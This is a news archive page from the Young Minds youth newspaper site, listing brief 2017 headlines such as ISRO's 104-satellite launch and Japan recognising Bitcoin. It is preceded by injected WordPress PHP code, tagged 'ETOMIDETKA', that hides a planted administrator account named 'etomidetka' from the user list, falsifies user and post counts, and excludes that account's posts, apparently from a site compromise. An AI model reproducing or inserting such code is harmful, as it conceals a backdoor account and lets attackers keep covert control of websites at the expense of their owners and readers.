//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 34

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 34)
NASA offering ₹35 lakh to speed up its supercomputer code

NASA offering ₹35 lakh to speed up its supercomputer code

NASA is offering $55,000 (over ₹35 lakh) in overall cash prizes to winners of its computing challenge to speed up the supercomputer codes for aerospace …

May 8, 2017 | Main News
Dubai becomes the first city to get its own Microsoft font

Dubai becomes the first city to get its own Microsoft font

Dubai has become the first city to get its own Microsoft-designed font.The typeface comes in both Latin and Arabic script, and will be available in 23 …

May 2, 2017 | Main News
UK PM Theresa May calls for early elections

UK PM Theresa May calls for early elections

Prime Minister Theresa May of Britain has called for an early election in less than two months, clearly anxious that her thin majority in Parliament would …

April 19, 2017 | Main News
US drops biggest non-nuclear bomb in Afghanistan

US drops biggest non-nuclear bomb in Afghanistan

The US has dropped a Massive Ordnance Air Blast Bomb (MOAB), the largest non-nuclear weapon in its arsenal, targetting Islamic State militants in …

April 14, 2017 | Main News
Android overtakes Windows to become internet’s most used OS

Android overtakes Windows to become internet’s most used OS

Google’s Android has overtaken Microsoft’s Windows as the internet’s most used operating system for the first time, according to web …

April 5, 2017 | Main News
Norway gets emergency vault to store data up to 1,000 years

Norway gets emergency vault to store data up to 1,000 years

A disaster-proof emergency vault called the ‘Arctic World Archive’ has been opened nearly 1,000 kilometres away from the North Pole in Svalbard, …

April 5, 2017 | Main News
Japan officially recognises Bitcoin as currency

Japan officially recognises Bitcoin as currency

A new Japanese law that defines cryptocurrency, including Bitcoin, Ripple, Litecoin and others, as a legal payment method has come into force in Japan. …

April 3, 2017 | Main News
4 killed in ‘terrorist incident’ at UK Parliament

4 killed in ‘terrorist incident’ at UK Parliament

At least 4 people, including a police officer, were killed and 20 others were injured in an attack on the UK Parliament on 22nd March. Police officials said …

March 23, 2017 | Main News
ISRO Scripts History by Setting A New Launch Record

ISRO Scripts History by Setting A New Launch Record

India has scripted a new chapter in the history of space exploration with the successful launch of a record 104 satellites by ISRO’s Polar Satellite …

February 15, 2017 | Main News
Sasikala gets 4-year jail in disproportionate assets case

Sasikala gets 4-year jail in disproportionate assets case

The Supreme Court has sentenced AIADMK General Secretary VK Sasikala to four years imprisonment in the disproportionate assets case. With this, she stands …

February 15, 2017 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds